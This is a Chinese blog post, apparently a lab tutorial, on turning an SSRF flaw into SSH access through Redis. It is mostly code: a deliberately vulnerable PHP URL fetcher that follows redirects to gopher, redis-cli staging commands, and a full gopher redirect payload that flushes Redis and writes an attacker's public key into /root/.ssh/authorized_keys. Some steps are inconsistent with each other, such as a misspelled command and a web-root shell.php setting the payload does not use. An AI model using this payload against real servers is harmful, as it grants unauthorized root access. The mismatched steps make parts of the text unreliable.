ssrf实现.SSH未创建写shell

jtmcq

已于 2024-08-26 11:41:01 修改

阅读量161

点赞数 5

文章标签：网络安全

于 2024-08-26 11:33:34 首次发布

本文链接：https://blog.csdn.net/jtmcq/article/details/141559700

版权

1、环境

ubuntu：test.html:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <form action="test.php" method="post">
        input url: <input type="text" name="url"><br>
        <input type="submit" value="submit">
 
    </form>
</body>
</html>

test.php：

<?php
        function check_ip($url)   
        {
                $match_res=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
                if(!$match_res)
                {
                        echo 'url fomat erro';
                        exit();
                }
                try
                {
                        $url_parse=parse_url($url);
                }
                catch(Exception $e)
                {
                        echo 'url fomat error';
                        exit();
                }
                $ip=gethostbyname($url_parse['host']);
                echo $ip;
                $ini_ip=ip2long($ip);
                if ($ini_ip>>24==ip2long('127.0.0.0')>>24||$ini_ip==ip2long('服务机公网ip'))
                {
                        echo "ip can not inner ip";
                        exit();
                }
        }
 
        $ch=curl_init();
        $url=$_GET['url'];
        check_ip($url);
        curl_setopt($ch,CURLOPT_URL,$url);
        curl_setopt($ch,CURLOPT_HEADER,0);
        curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
        curl_setopt($ch,CURLOPT_REDIR_PROTOCOLS,CURLPROTO_GOPHER);  
        curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);          
        $res=curl_exec($ch);
        curl_close($ch);
        echo $res;
 
?>

2、生成公钥（kali）

cd /root/.ssh

ssh-keygen -t rsa

3、伪造redis数据

redis-cli -p 1234 fushall
 
echo -e "\n\n
ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABgQDa1V8TRqynbl7Lx0eOuOB3k7f4o9m0jtj96X7Z5BW3HCUagionxr5FRzV6GHjKzjJYrFf43QsedgnY3UPZEx0oo3QVZhRsacx3/qkSevkZvA+KpBygyH/2/OUIlpXtgWLilkxSy8yWSGc573gtHJhNgdrtaGUahHprCM1RTBqCkC7SeYN07kUhXuDAlZrJKyT3G2jI3LHcz6O4EJF4n2zZlm2IOQupdfEhiZAKs4GX+7SZ/kK1JWlEy/m12cUcQrDzTPFKVM/RQ6h5+gKshq+f5IMtzXuN3m0WZ9vXoHMnsVrGNBdd++7Hd2bHSMLnhjgdH9x8BEner4QR0WgRTMySkRj9Gqoc8QMRJpl8CzNrKEEOAkRScDW26qaAaKW4V44Nuupq2HO0QYWCEvOMGEQYVj2zM66VqZTZHaZhj5Gnkot3vo6/6h1bcTiOlIt7DCIIP1q+2fg3SUL9JsH3denkc/QUrAOoBlvfL3ruvCbTVgW4HM20kH+ltpt5RdKf0s0= root@kali\n\n" | redis-cli -p 1234 -x set a   
 
redis-cli -p 1234 config set dir /var/www/html/ 
 
redis-cli -p 1234 config set dbfilename shell.php

4、攻击

<?php
header("Location: gopher://127.0.0.1:6379/_*1%0d%0A%248%0d%0Aflushall%0d%0A*3%0d%0A%243%0d%0Aset%0d%0A%241%0d%0A1%0d%0A%24567%0d%0A%0A%0Assh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABgQDa1V8TRqynbl7Lx0eOuOB3k7f4o9m0jtj96X7Z5BW3HCUagionxr5FRzV6GHjKzjJYrFf43QsedgnY3UPZEx0oo3QVZhRsacx3/qkSevkZvA+KpBygyH/2/OUIlpXtgWLilkxSy8yWSGc573gtHJhNgdrtaGUahHprCM1RTBqCkC7SeYN07kUhXuDAlZrJKyT3G2jI3LHcz6O4EJF4n2zZlm2IOQupdfEhiZAKs4GX+7SZ/kK1JWlEy/m12cUcQrDzTPFKVM/RQ6h5+gKshq+f5IMtzXuN3m0WZ9vXoHMnsVrGNBdd++7Hd2bHSMLnhjgdH9x8BEner4QR0WgRTMySkRj9Gqoc8QMRJpl8CzNrKEEOAkRScDW26qaAaKW4V44Nuupq2HO0QYWCEvOMGEQYVj2zM66VqZTZHaZhj5Gnkot3vo6/6h1bcTiOlIt7DCIIP1q+2fg3SUL9JsH3denkc/QUrAOoBlvfL3ruvCbTVgW4HM20kH+ltpt5RdKf0s0= root@kali%20root@kali%0A%0A%0A%0d%0A*4%0d%0A%246%0d%0Aconfig%0d%0A%243%0d%0Aset%0d%0A%243%0d%0Adir%0d%0A%2411%0d%0A/root/.ssh/%0d%0A*4%0d%0A%246%0d%0Aconfig%0d%0A%243%0d%0Aset%0d%0A%2410%0d%0Adbfilename%0d%0A%2415%0d%0Aauthorized_keys%0d%0A*1%0d%0A%244%0d%0Asave%0d%0A");
?>